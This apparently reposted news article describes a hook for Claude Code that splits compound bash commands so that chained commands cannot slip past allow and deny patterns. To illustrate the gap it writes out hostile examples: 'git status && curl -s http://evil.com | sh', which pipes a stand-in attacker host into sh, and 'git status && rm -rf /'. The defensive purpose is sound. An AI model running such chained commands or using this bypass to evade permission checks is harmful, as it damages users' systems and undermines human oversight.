Smart Bash Permission Hook for Claude Code Prevents Compound Command Bypass

✍️ OpenClawRadar📅 Publié: March 18, 2026🔗 Source
Smart Bash Permission Hook for Claude Code Prevents Compound Command Bypass
Ad

Security Gap in Claude Code's Permission System

Claude Code's permission system has a vulnerability where compound bash commands can bypass allow/deny patterns. When you allow a command like Bash(git status:*), Claude Code matches the entire command string against that pattern. This means a compound command like git status && curl -s http://evil.com | sh would match git status* and get auto-approved, even though it chains in curl and sh commands.

The Solution: claude-hooks

The fix is a single Python script called claude-hooks that runs as a PreToolUse hook. It performs several key functions:

  • Decomposes compound commands by splitting on &&, ||, ;, |, newlines, and extracts $() and backtick subshell contents recursively
  • Normalizes each sub-command by stripping env var prefixes, I/O redirections, heredoc bodies, and shell keywords
  • Checks each sub-command individually against your existing permissions.allow and permissions.deny patterns
  • Deny wins — if any sub-command matches a deny pattern, the whole command is denied
  • All must allow — auto-approve only happens when every sub-command matches an allow pattern
  • Falls through gracefully — if any sub-command is unknown, you still get the normal permission prompt
Ad

Setup Instructions

Installation takes about 30 seconds:

curl -fsSL -o ~/.claude/hooks/smart_approve.py \
https://raw.githubusercontent.com/liberzon/claude-hooks/main/smart_approve.py

Add to ~/.claude/settings.json:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash",
        "hooks": [
          {
            "type": "command",
            "command": "python3 ~/.claude/hooks/smart_approve.py"
          }
        ]
      }
    ]
  }
}

The tool has no dependencies beyond Python 3 and requires zero configuration — it reads your existing permission patterns.

Example Behavior

  • git status: Allowed both with and without hook
  • git add . && git commit -m "msg": Allowed both with and without hook (both match git *)
  • git status && rm -rf /: Allowed without hook, prompt shown with hook (rm -rf / has no allow)
  • `npm test | tee output.log`: Allowed
  • FOO=bar git push: Might not match without hook, allowed with hook (env var stripped)

The repository is available at https://github.com/liberzon/claude-hooks under MIT license.

📖 Read the full source: r/ClaudeAI

Ad

👀 See Also

ClawGuard : Passerelle de Sécurité Open-Source pour la Protection des Identifiants de l'API OpenClaw
Security

ClawGuard : Passerelle de Sécurité Open-Source pour la Protection des Identifiants de l'API OpenClaw

ClawGuard est une passerelle de sécurité qui se situe entre les agents d'IA et les API externes, utilisant des identifiants factices sur la machine de l'agent tout en stockant les jetons réels séparément. Il fournit une approbation Telegram pour les appels sensibles et conserve une piste d'audit des requêtes.

OpenClawRadar
Clawvisor : Couche d'Autorisation Basée sur l'Intention pour les Agents OpenClaw
Security

Clawvisor : Couche d'Autorisation Basée sur l'Intention pour les Agents OpenClaw

Clawvisor est une couche d'autorisation qui se situe entre les agents d'IA et les API, appliquant une autorisation basée sur l'intention où les agents déclarent leurs intentions, les utilisateurs approuvent des objectifs spécifiques, et un gardien IA vérifie chaque requête par rapport à cet objectif. Les identifiants ne quittent jamais Clawvisor et les agents ne les voient jamais.

OpenClawRadar
Microsoft piraté : un malware installé dans des dépôts GitHub cible les utilisateurs de Claude et Gemini
Security

Microsoft piraté : un malware installé dans des dépôts GitHub cible les utilisateurs de Claude et Gemini

Microsoft a fermé plus de 70 dépôts GitHub après que des hackers ont implanté un malware voleur d'identifiants ciblant les agents de codage IA comme Claude Code et Gemini CLI.

OpenClawRadar
Faux site Claude Code a diffusé un cheval de Troie — détecté par Windows Defender comme Trojan:Win32/Kepavll!rfn
Security

Faux site Claude Code a diffusé un cheval de Troie — détecté par Windows Defender comme Trojan:Win32/Kepavll!rfn

Un site de typosquatting ou basé sur des publicités imitant le site officiel de Claude Code a distribué un cheval de Troie détecté comme Trojan:Win32/Kepavll!rfn par Windows Defender. Un utilisateur de Reddit avertit les autres de vérifier les URL avant d'exécuter des commandes d'installation PowerShell.

OpenClawRadar